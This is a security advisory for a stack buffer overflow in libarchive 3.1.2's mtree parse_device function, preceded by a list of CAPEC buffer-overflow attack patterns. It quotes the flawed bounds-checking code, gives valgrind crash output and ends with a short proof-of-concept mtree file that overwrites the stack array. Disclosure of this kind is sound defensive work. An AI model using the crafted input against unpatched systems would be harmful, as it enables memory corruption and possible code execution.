Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

description### SUMMARY An exploitable stack based buffer overflow vulnerability exists in the mtree parse_device functionality of libarchive. A specially crafted mtree file can cause a buffer overflow resulting in memory corruption/code execution. An attacker can send a malformed file to trigger this vulnerability. ### TESTED VERSIONS libarchive 3.1.2 ### PRODUCT URLs https://github.com/libarchive/libarchive ### CVSSv3 SCORE 7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSSv3 Calculator: https://www.first.org/cvss/calculator/3.0 ### Details Vulnerable code exists in mtree support format module: ``` libarchive\archive_read_support_format_mtree.c: Line 1353 static int Line 1354 parse_device(dev_t *pdev, struct archive *a, char *val) Line 1355 { Line 1356 #define MAX_PACK_ARGS 3 Line 1357 unsigned long numbers[MAX_PACK_ARGS]; Line 1358 char *p, *dev; Line 1359 int argc; Line 1360 pack_t *pack; Line 1361 dev_t result; Line 1362 const char *error = NULL; (...) Line 1377 while ((p = la_strsep(&dev, ",")) != NULL) { Line 1378 if (*p == '\0') { Line 1379 archive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT, Line 1380 "Missing number"); Line 1381 return ARCHIVE_WARN; Line 1382 } Line 1383 numbers[argc++] = (unsigned long)mtree_atol(&p); Line 1384 if (argc > MAX_PACK_ARGS) { Line 1385 archive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT, Line 1386 "Too many arguments"); Line 1387 return ARCHIVE_WARN; Line 1388 } Line 1389 } ``` In line 1357 we see definition of static buffer prepared to contain 3 elements. Next in while loop in lines 1377-1389 exist condition (line 1384) which should protect against overflowing "numbers" buffer but this condition is wrong and allows to overflow buffer with one element. Depending on platform and architecture, size of overwrite can be 4 or 8 bytes with content fully controlled. ### CRASH INFORMATION ``` icewall@ubuntu:~/bugs/libarchive-gdb$ uname -a Linux ubuntu 3.19.0-33-generic #38~14.04.1-Ubuntu SMP Fri Nov 6 18:17:28 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux icewall@ubuntu:~/bugs/libarchive-gdb$ valgrind --tool=exp-sgcheck bin/ext_mtree libarchive_mtree_parse_device_buffer_overflow.mtree ==42519== exp-sgcheck, a stack and global array overrun detector ==42519== NOTE: This is an Experimental-Class Valgrind Tool ==42519== Copyright (C) 2003-2013, and GNU GPL'd, by OpenWorks Ltd et al. ==42519== Using Valgrind-3.10.0.SVN and LibVEX; rerun with -h for copyright info ==42519== ==42519== Invalid write of size 8 ==42519== at 0x432A8B: parse_device (archive_read_support_format_mtree.c:1383) ==42519== by 0x432D92: parse_keyword (archive_read_support_format_mtree.c:1469) ==42519== by 0x4328A4: parse_line (archive_read_support_format_mtree.c:1318) ==42519== by 0x432026: parse_file (archive_read_support_format_mtree.c:1097) ==42519== by 0x431F4B: read_header (archive_read_support_format_mtree.c:1064) ==42519== by 0x407934: _archive_read_next_header2 (archive_read.c:645) ==42519== by 0x407A07: _archive_read_next_header (archive_read.c:683) ==42519== by 0x44FEFF: archive_read_next_header (archive_virtual.c:148) ==42519== by 0x402F52: extract (ext.c:55) ==42519== by 0x403048: main (ext.c:83) ==42519== Address 0xffefffb28 expected vs actual: ==42519== Expected: stack array "numbers" of size 24 in this frame ==42519== Actual: unknown ==42519== Actual: is 0 after Expected ==42519== Too many arguments ==42519== ==42519== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 4 from 4) ``` ### EXPLOIT PROOF-OF-CONCEPT ``` #mtree fil type=file device=386bsd,1,2,3,4702111234474983745 ``` ### TIMELINE * 2016-04-19 - Vendor Disclosure * 2016-06-18 - Public Release
